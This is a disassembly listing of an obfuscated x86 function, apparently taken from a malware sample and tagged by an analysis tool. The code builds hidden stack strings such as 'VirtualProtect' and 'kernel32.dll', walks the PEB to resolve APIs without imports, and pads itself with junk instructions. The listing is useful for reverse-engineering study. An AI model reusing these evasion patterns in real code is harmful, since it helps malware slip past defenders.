Function at 0x416d96
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
jmp 0x416c38
mov eax, dword [ebp - 0x44c]
mov dword [ebp - 0x7ac], eax
push ecx
call 0x416c52
add byte [ebx + esi + 0x4b], al
inc esi
xor edi, dword [esi]
add esp, 4
pop ecx
push edx
xor edx, 0x14ea8
sub edx, 0xd192
pop edx
push ebx
push ecx
add esp, 4
or ebx, 0xb78
sub ebx, 0xcbb1
pop ebx
mov ecx, dword [ebp - 0x408]
add ecx, 0xe
mov dword [ebp - 0x1a14], ecx
push esi
push ebx
add esp, 4
sub esi, 0x17181
jmp 0x416c98
and esi, 0x17100
or esi, 0x4045
pop esi
push eax
push edi
add esp, 4
or eax, 0x17e6d
add eax, 0x151a4
pop eax
cmp dword [ebp - 0x408], 0
je 0x416cc9
cmp dword [ebp - 0xae8], 0
jne 0x416d0f
push ebx
push edi
add esp, 4
xor ebx, 0xb975
sub ebx, 0x69bc
pop ebx
push ecx
push eax
add esp, 4
and ecx, 0x49fd
jmp 0x416cee
and ecx, 0x11a6d
xor ecx, 0xbce1
pop ecx
mov edx, dword [ebp - 0x7ac]
mov dword [ebp - 0x19c8], edx
push 0
call dword [ebp - 0x19c8]
mov dword [ebp - 0x2050], 0xa
push edx
xor edx, 0xb2f8
xor edx, 0x46c3
add edx, 0x117e7
and edx, 0x17eaa
pop edx
push edx
push edx
add esp, 4
or edx, 0x2f90
or edx, 0x9f09
jmp 0x416d4a
pop edx
mov eax, dword [ebp - 0x408]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x3c2], cl
mov edx, dword [ebp - 0xae8]
sub edx, dword [ebp - 0x408]
mov dword [ebp - 0x16c0], edx
mov dword [ebp - 0xd04], 0
push edi
add edi, 0x1c65
pop edi
push ecx
add ecx, 0xded5
pop ecx
push edi
call 0x416d96
add byte [eax], bh
dec edi
cmp edi, dword [edi]
inc ebx
dec esp
aaa
add esp, 4
pop edi
push ebx
sub ebx, 0x1627
add ebx, 0x956b
pop ebx
mov byte [ebp - 0x9f4], 0x56
mov byte [ebp - 0x9f3], 0x69
mov byte [ebp - 0x9f2], 0x72
mov byte [ebp - 0x9f1], 0x74
mov byte [ebp - 0x9f0], 0x75
mov byte [ebp - 0x9ef], 0x61
mov byte [ebp - 0x9ee], 0x6c
mov byte [ebp - 0x9ed], 0x50
mov byte [ebp - 0x9ec], 0x72
mov byte [ebp - 0x9eb], 0x6f
mov byte [ebp - 0x9ea], 0x74
mov byte [ebp - 0x9e9], 0x65
mov byte [ebp - 0x9e8], 0x63
mov byte [ebp - 0x9e7], 0x74
mov byte [ebp - 0x9e6], 0
push edi
add edi, 0xe158
or edi, 0xfe9c
call 0x416e2a
add byte [edi], dh
xor dh, byte [edi]
dec edi
xor eax, 0x4c48336
pop edi
push edi
push ecx
add esp, 4
call 0x416e3f
add byte [eax + 0x3a], cl
xor eax, 0x83423d4e
les eax, [edi + ebx*2]
mov eax, dword fs:[0x18]
mov dword [ebp - 0x19cc], eax
mov ecx, dword [ebp - 0x19cc]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x19d0], edx
mov eax, dword [ebp - 0x19d0]
mov dword [ebp - 0x1634], eax
push edx
and edx, 0x13cf
pop edx
push ecx
push ecx
add esp, 4
add ecx, 0xcb8
sub ecx, 0xe6a9
call 0x416e92
add byte [ecx + 0x4c], cl
inc esi
cmp byte [eax], bh
inc ebp
xor al, 0x39
inc ecx
add esp, 4
sub ecx, 0x107ac
pop ecx
cmp dword [ebp - 0x1634], 0
jne 0x416eb4
mov dword [ebp - 0x2fc], 0
jmp 0x41715b
mov ecx, dword [ebp - 0x1634]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xce0], eax
push edx
push edx
add esp, 4
call 0x416ed8
add byte [esi + 0x4f], al
cmp al, byte [esi + 0x4c]
dec ebx
inc esp
add esp, 4
call 0x416ee8
add byte [esi], bh
cmp byte [edx], bh
xor ecx, dword [ecx + 0x39]
cmp al, 0x83
les eax, [ecx + eax*4]
retf 0x419c
push ecx
add ecx, 0x1447a
add ecx, 0x911b
xor ecx, 0xaa7
and ecx, 0x2da0
pop ecx
push edi
push esi
add esp, 4
or edi, 0x9bbf
add edi, 0x1373a
xor edi, 0xf9ef
pop edi
cmp dword [ebp - 0x2fc], 0
jne 0x417a92
mov eax, 0x6b
mov word [ebp - 0x17c8], ax
mov ecx, 0x65
mov word [ebp - 0x17c6], cx
mov edx, 0x72
mov word [ebp - 0x17c4], dx
mov eax, 0x6e
mov word [ebp - 0x17c2], ax
mov ecx, 0x65
mov word [ebp - 0x17c0], cx
mov edx, 0x6c
mov word [ebp - 0x17be], dx
mov eax, 0x33
mov word [ebp - 0x17bc], ax
mov ecx, 0x32
mov word [ebp - 0x17ba], cx
mov edx, 0x2e
mov word [ebp - 0x17b8], dx
mov eax, 0x64
mov word [ebp - 0x17b6], ax
mov ecx, 0x6c
mov word [ebp - 0x17b4], cx
mov edx, 0x6c
mov word [ebp - 0x17b2], dx
xor eax, eax
mov word [ebp - 0x17b0], ax
push edi
push esi
add esp, 4
call 0x417245
add byte [ebx], bh
dec ebx
dec esp
dec esp
cmp eax, 0xc4833d4f
add al, 0x81
out 0x6d, eax
pop es
add dword [eax], eax
xor edi, 0xd578
call 0x417261
add byte [edx + 0x4a], cl
inc edx
dec ebx
inc esp
inc ebx
dec esi
add esp, 4
pop edi
mov byte [ebp - 0x8cc], 0x4c
mov byte [ebp - 0x8cb], 0x6f
mov byte [ebp - 0x8ca], 0x61
invalid
invalid